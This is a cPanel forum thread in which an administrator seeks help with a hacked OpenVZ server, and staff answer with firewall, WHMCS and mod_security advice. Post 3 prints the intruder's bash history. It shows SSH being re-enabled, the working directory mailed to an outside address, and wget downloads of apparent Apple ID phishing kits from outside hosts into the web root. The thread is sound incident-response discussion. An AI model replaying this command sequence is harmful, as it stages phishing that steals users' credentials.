The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Compromised Server Questions

Discussion in 'Security' started by easyprosys, Apr 12, 2016.

  1. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    I just put a new cPanel server online and deliberately turned SSH off. The server is on Centos 7.2 with OpenVZ for the base. It too is CentOS 7.2. The only way into the server (we thought) was though the main hardware node. It is protected by APF and BFD. There is no history on the main of any trouble. But persons unknown got into the container, turned SSH back on. Spam is now flowing from my new server. I have just switched from Plesk after 16 years and don't know my way around yet. What I do know is what .bash_history tells me. I'm not comfortable pasting it here. The user root had a secure password. Not easily hacked. Is it possible to drop into the OS by hacking cPanel? On my current network I am protected by a hardware firewall and port 22 is blocked. Not the case with the new data center. We just changed the ssh port and turned it off.
     
  2. 24x7server

    24x7server Well-Known Member

    Joined:
    Apr 17, 2013
    Messages:
    1,146
    Likes Received:
    34
    Trophy Points:
    48
    Location:
    India
    cPanel Access Level:
    Root Administrator
    Hello :),

    Please try check your exim mail logs with the following command, You will get a list of directories that have sent email:


    Code:
    grep cwd=/home /var/log/exim_mainlog
     
  3. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    Thank you for the help!!!

    Exim shows none sent but I am receiving the bounce backs containing usernames and passwords for Apple users. Here is the output of .bash_history that shows clearly a hacked server.

    Code:
    root@c102 [/]# cat ~/.bash_history
    #1455908123
    screen -list
    #1455908129
    service cpanel status
    #1456007633
    ls
    #1456052575
    w
    #1456052576
    uname -a
    #1456052577
    vzlist
    #1456052578
    ls
    #1456052578
    exit
    #1456240247
    vi /etc/ssh/sshd_config
    #1456240255
    systemctl restart sshd
    #1456240256
    exit
    #1456205439
    uname -a
    #1456205445
    pwd|mail someusr@gmail.com
    #1456205454
    cd /usr/local/apache
    #1456205454
    ls
    #1456205455
    cd htdocs/
    #1456205456
    ls
    #1456205457
    cat >ec
    #1456205469
    ils
    #1456205485
    wget https://fs05n3.example.com/dl/5b7d155de1a0929edfd866df2c1a6b/56cc51b767987dfa/ow00yu/comun.tgz
    #1456205490
    tar zxvf comun.tgz
    #1456205510
    /usr/local/cpanel/bin/rebuild_phpconf 5 none cgi 1
    #1456205520
    locate httpd.conf
    #1456205522
    udpatedb
    #1456205523
    updatedb
    #1456205530
    locate httpd.conf
    #1456205533
    nano /usr/local/apache/conf/httpd.conf
    #1456205543
    service httpd restart
    #1456205547
    ls /var/named
    #1456205578
    ls4
    #1456205580
    ls
    #1456205581
    ls /home
    #1456206244
      ifconfig
    #1456206395
    tail -f ../logs/access_log
    #1456206596
    ls
    #1456206609
    wget https://fs09n1.example.com/dl/c603e34488ad7fe23d2be6e17d3f54/56cc561f1253a071/68l1a7/ruralnou.tgz
    #1456206613
    tar zxvf ruralnou.tgz
    #1456206616
    tail -f ../logs/access_log
    #1456206700
    cp ISUM_MainISUM/.htaccess .
    #1456206702
    mv .htaccess h
    #1456206704
    ifconfig
    #1456206717
    tail -f ../logs/access_log
    #1456207581
    ls
    #1456207585
    ifconfig
    #1456207589
    tail -f ../logs/access_log
    #1456217436
    ls
    #1456217449
    wget https://fs05n2.example.com/dl/9782565d598547c8624e8c60ffeaf2/56cc807758a504a5/kbpov3/js.tgz
    #1456217451
    tar zxvf js.tgz
    #1456217453
    cd js
    #1456217454
    nano css.php
    #1456217481
    cd ..
    #1456217482
    wget https://fs05n5.example.com/dl/d0890db16170bfc6995a80b57656ac/56cc8094357d2283/35rtrg/neww.zip
    #1456217486
    unzip neww.zip
    #1456217488
    ifconfig
    #1456217490
    cd uk
    #1456217493
    nano checkout.php
    #1456217508
    ls
    #1456218390
    tail -f ../../logs/access_log
    #1460345330
    w
    #1460345331
    uname -a
    #1460345334
    vzlist
    #1460345341
    cd /usr/local/apache/htdocs/
    #1460345341
    ls
    #1460345352
    wget 162.219.xx.xx/GB.tgz
    #1460345355
    tar zxvf GB.tgz
    #1460345360
    cd GB
    #1460345363
    cd user12-appleid/
    #1460345364
    nano vbvpasword.php
    #1460345365
    ls
    #1460345379
    /usr/local/cpanel/bin/rebuild_phpconf 5 none cgi 1
    #1460345415
    locate httpd.conf
    #1460345420
    nano /usr/local/apache/conf/httpd.conf
    #1460345431
    ls
    #1460345433
    ifconfig
    #1460345448
    ls
    #1460345545
    cd ..
    #1460345547
    ls -la
    #1460345551
    tail -f ../../logs/access_log
    #1460349536
    ifconfig
    #1460349567
    tail -f ../../logs/access_log
    #1460352370
    ls /var/named
    #1460352373
    ls /home
    #1460352377
    cd ..
    #1460352379
    cat >re
    #1460352428
    mkdir .apo
    #1460352430
    mkdir .api
    #1460352431
    cd .api
    #1460352442
    cat >api.htm
    #1460352448
    cp ../GB/.htaccess .
    #1460352451
    cd ..
    #1460352461
    tail -f ../logs/access_log
    #1460353703
    s -la
    #1460353704
    ls- la
    #1460353705
    ls -la
    #1460353710
    nano .api/api.htm
    #1460353731
    tail -f ../logs/access_log
    #1460408250
    who
    #1460408254
    last
    #1460408727
    exim -bp
    #1460408748
    service status exim
    #1460411283
    cat ~/.bash_history
    #1460411295
    who
    #1460411302
    screen -x
    #1460411329
    cd /home/.api
    #1460411333
    cd /home
    #1460411335
    ls -lah
    #1460411370
    tail -f ../access_log
    #1460411373
    cd ..
    #1460411375
    tail -f ../access_log
    #1460411384
    which access_log
    #1460411391
    cd /var/logs
    #1460411394
    cd /var/log
    #1460411396
    ls -lah
    #1460411417
    cd httpd
    #1460411419
    ls
    #1460411426
    tail -f access_log
    #1460411438
    cat access_log
    #1460411443
    ls -lah
    #1460411461
    cd ..
    #1460411464
    ls -lah
    #1460411475
    cd /
    #1460411478
    pwd
    #1460411482
    cd /root
    #1460411484
    ls -lah
    #1460411510
    cd /tmp
    #1460411512
    ls -lah
    #1460412504
    cat ~/.bash_history
    #1460412736
    cd GB
    #1460412747
    cd /home
    #1460412750
    ls -lah
    #1460412771
    cd .cpcpan
    #1460412773
    ls -lah
    #1460412799
    cat MIRROR.BY
    #1460412810
    cat MIRRORED.BY
    #1460413090
    uname -a
    #1460413111
    uname
    #1460413117
    man uname
    #1460413125
    uname -s
    #1460413136
    man uname | grep kernel
    #1460413145
    name -v
    #1460413149
    uname -v
    #1460413158
    uname -r
    #1460413175
    uname -srv
    #1460413198
    cat /etc/redhat-release
    #1460418446
    clear
    #1460418449
    cd /root
    #1460418451
    ls -lah
    #1460418466
    cat bash_logout
    #1460418478
    cat .bash_logout
    #1460418500
    cat .bash_history
    #1460418528
    locate .api
    #1460418552
    cd ..
    #1460418555
    ls -lah
    #1460418573
    cd tmp
    #1460418575
    ls -lah
    #1460419638
    uname -a
    #1460423535
    who
    #1460423542
    man exim
    #1460433612
    who
    #1460433620
    exit
    #1460433632
    vzctl stop 102
    #1460433637
    exit
    #1460428363
    ls
    #1460428369
    cd /usr/local/apache/htdocs/
    #1460428369
    ls
    #1460428374
    cd .did
    #1460428375
    nano did.htm
    #1460428395
    tail -f ../../logs/access_log
    #1460428585
    cd ..
    #1460428587
    mkdir u
    #1460428587
    cd u
    #1460428589
    wget https://fs10n2.example.com/dl/564178dfe5dbe223c1087b7dd445a7/570cc253444cce51/zvo1bn/loginid.zip
    #1460428592
    unzip loginid.zip
    #1460428593
    cd uk
    #1460428594
    ls
    #1460428601
    ifconfig
    #1460429054
    cd ../..
    #1460429056
    tail -f ../logs/access_log
    #1460429062
    cd .api
    #1460429063
    nano api.htm
    #1460429077
    cd ..
    #1460429079
    tail -f ../logs/access_log
    #1460430230
    ifconfig
    #1460430448
    tail -f ../logs/access_lo
    
     
    #3 easyprosys, Apr 12, 2016
    Last edited by a moderator: Apr 12, 2016
  4. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,678
    Likes Received:
    653
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
  5. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    This is server #1 with WHMCS and a custom theme. You'll note that they went straight to ssh and turned it on. This is a VZ containers so we had it off. They also stopped thee firewall with csf -x, and more.

    Is server 1 compromised? Server 2 looks like it has been rooted and owned.

    [Removed - Contained Links to Downloads]
     
    #5 easyprosys, Apr 14, 2016
    Last edited by a moderator: Apr 14, 2016
  6. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,678
    Likes Received:
    653
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
    You may need to consult with a qualified system administrator for help with determining the method used to root your servers, and then ensure you review the documents from my previous post after setting up a new OS/cPanel and transferring the accounts from the hacked server over to the new one.

    Thank you.
     
  7. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    A Lesson Learned

    I found CSF installed but not running. LDF wasn't even installed. When I looked deeper I found that the necessary modules were not installed for the VPS. As I recall from running Virtuozzo they need to be in the config file for the VPS.

    Can you give me a pointer on where to find the syntax to allow me to run CSF/LDF in each container?
     
  8. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,678
    Likes Received:
    653
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
    ConfigServer offers a README document at:

    http://download.configserver.com/csf/readme.txt

    Restarting the service via the command line is possible with a command such as:

    Code:
    csf -r
    Thank you.
     
  9. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    Thank you. I've read that before. But when I said OpenVZ container - Virtuozzo - you may be unaware that specific modules need to be loaded so that any firewall can run inside of each container. THAT is what I need to learn. Just running CSF has already shown that it doesn't protect the containers. As a Plesk user we had to load specific modules but that is for older versions. We are migrating to cPanel from Plesk anyway. I am terrified of loading up a container again and having it hacked a third time. The question remains this: Was it CentOS 7.2? OpenVZ (current)? Word Press (current)? WHMCS 6.3.2? The theme written to interface Word Press? I can tell you from the logs that the hacker just dropped into the container and went straight to SSH. SSH had been directed to another port AND was turned off. Access via the hardware node was required. It did come from there. We know this for many reasons,, but also because the hacker ran vzlist to see if it was the hardware node as well as screen to see if any where loaded. This is my first go with cPanel and WHMCS as well as Word Press as the integration.

    I look forward to your replies I don't mind looking like an idiot as long as others learn from it.
     
  10. Infopro

    Infopro cPanel Sr. Product Evangelist
    Staff Member

    Joined:
    May 20, 2003
    Messages:
    14,448
    Likes Received:
    195
    Trophy Points:
    63
    Location:
    Pennsylvania
    cPanel Access Level:
    Root Administrator
    Twitter:
    There are many more questions of course, was the server properly secured, what did that custom theme actually do as far as what that "interfacing" you mention, needs to work, what did it interface with, WHMCS, the server itself? Is your workstation secure? Are you on wireless borrowed from a friend? Are you using the same password for root, somewhere else?

    Anybody on these forums would only guessing without closer inspection. You really should look into hiring someone to properly assist you with this instead of hoping for helpful replies here to learn from, IMO.
     
  11. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    The server was configured by and cPanel/WHMCS installed by the dedicated server company. I recall posting before why this is ultimately my fault. They used the same password on everything. There were two containers on the server with cPanel. The first breach was the server with only cPanel. cPanel Customer support logged in and came back with no answer. But after breaching server 2 the hacker found the IP for server 1 and got in. He did not use ssh because it was turned off on both containers. Server 2 had no accounts setup. I don't want to indict cPanel because I don't know the answer. I am reinstalling cPanel only as a honey pot to see if he gets past a new password. Neither Virtuozzo or CentOS show his IP in their respective logs. I am asking just in case a setup point was missed or if there is a breach that is new. If there are additional security steps to take I'd love to read them. I've already read those in cPanel's documentation. Mod_Sec was not setup yet. Is there a browser hack?

    My workstation is in my business along with others that are behind a corporate firewall and uses keys. We pay for our own internet access. Our servers use TW. SSH is turned off on all virtual servers using a hardware firewall. SSH is restricted on the hardware nodes using several methods. I've been setting up Ensim and Plesk servers for 16 years and I built our entire multi-rack network inside an XO facility. I said that I am new to cPanel. We are changing our approach of owning everything due to health issues. Our dedicated server company with cPanel/WHMCS Certified staff installed and loaded them as a courtesy. I have a stack of Plesk licenses that I can continue using if you think cPanel is too much for us to handle. With that said where is the weakest link with the software? A popular Google site has many cPanel hacks. There's "How to Hack cPanel 2016" dated 4 months ago.

    Respectfully Submitted...

     
  12. Infopro

    Infopro cPanel Sr. Product Evangelist
    Staff Member

    Joined:
    May 20, 2003
    Messages:
    14,448
    Likes Received:
    195
    Trophy Points:
    63
    Location:
    Pennsylvania
    cPanel Access Level:
    Root Administrator
    Twitter:
    Another question might be, does "configured by the dedicated server company" mean they secured the server properly, or just installed cPanel and configured the server so you could get in and secure it yourself?

    I don't think cPanel is too much for you to handle, quite to opposite. Still, how secure the server is setup, depends on you. The documentation suggested by @cPanelMichael is a great place to get started, but that's not all there is.

     
  13. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    Well Michael, that's where I take full blame I "assumed" that installed meant secured. I asked that the firewall be installed and they did so. But they didn't configure it or turn it on because I didn't specifically ask them to. OK. It's kind of assumed that installation also means configuration and adding it as a service or calling it from start-up. A lesson learned and I won't dump on them. They were trying to help and they've been very helpful. I know that with Plesk installation included iptables modules being loaded and the containers secured.

    I've learned something new and welcome learning cPanel! I have fought it for years based on a sizeable financial investment in Plesk. But now - give the customers what they are asking for. Everything I have is being converted to cPanel and that's about 100 servers. The beauty of Virtuozzo is fewer hardware reboots and blown power supplies and mangled OS's. It also means easily bouncing a virtual server anywhere on the network if an impending HDD failure is approaching. Back-up's are easy. Memory management. That is if Lite Speed can run in a virtual server.

    I write candidly - even if it means someone takes a shot at me. As long as someone learns from it. There are a few enhancements in CentOS that I like but I want to go to Lite Speed Apache. Does it have the same level of security. It is so new that it worries me. But I am going through all of the different security related documents trying to understand each and every place to secure. For example. a WHMCS theme that uses Word Press. I was not told to password protect the admin directory, which may have prevented this hack. But what of the other server that had only cPanel? How the hell did they get in? SSH was turned off and the logs don't show anything before the hacker just "dropped into the shell." If this isn't a cPanel issue that's great. But if anyone can offer solid suggestions I sure would be grateful. I need to start making money off of this investment.
     
  14. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    I dare say that the poor customer service of Parallel's, who has now divested into three separate groups (Virtuozzo, Plesk and PBAS (owned by Ingram Micro) has been miserable for 16 years. The forums are seldom answered by a staff member. I appreciate you and Michael. Thank you. Point and click and I'll follow! :)
     
  15. Infopro

    Infopro cPanel Sr. Product Evangelist
    Staff Member

    Joined:
    May 20, 2003
    Messages:
    14,448
    Likes Received:
    195
    Trophy Points:
    63
    Location:
    Pennsylvania
    cPanel Access Level:
    Root Administrator
    Twitter:
    WHMCS does a great job with docs, have a look at these suggestions:
    Further Security Steps - WHMCS Documentation
     
  16. easyprosys

    easyprosys Member

    Joined:
    Nov 27, 2015
    Messages:
    12
    Likes Received:
    1
    Trophy Points:
    1
    Location:
    Los Angeles, CA
    cPanel Access Level:
    Root Administrator
    I'd like to commend this group for the cordial welcome as a cPanel from Plesk convertee comes over. I have much to learn and I may ask a stupid question every now and then. This group is hands down better than the Plesk forums where it may take weeks for a reply that doesn't even help. Thank you. This incident will help sharpen my security skills. I have lived behind a hardware firewall since 2007 where SSH was blocked at that level plus on each server. In this case no firewall would have stopped the hack. More than likely mod_sec may have caught it but I never had a chance to look at the rules set. I wonder: is there a source for $$$ or free that has mod_sec rules or are they part of cPanel and its updates?
     
    Infopro likes this.
  17. Infopro

    Infopro cPanel Sr. Product Evangelist
    Staff Member

    Joined:
    May 20, 2003
    Messages:
    14,448
    Likes Received:
    195
    Trophy Points:
    63
    Location:
    Pennsylvania
    cPanel Access Level:
    Root Administrator
    Twitter:
  18. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,678
    Likes Received:
    653
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
    The following thread also offers some useful advice from other users who have tried out different Mod_Security rulesets:

    OWASP - mod security and wordpress

    Thank you.
     
Loading...

Share This Page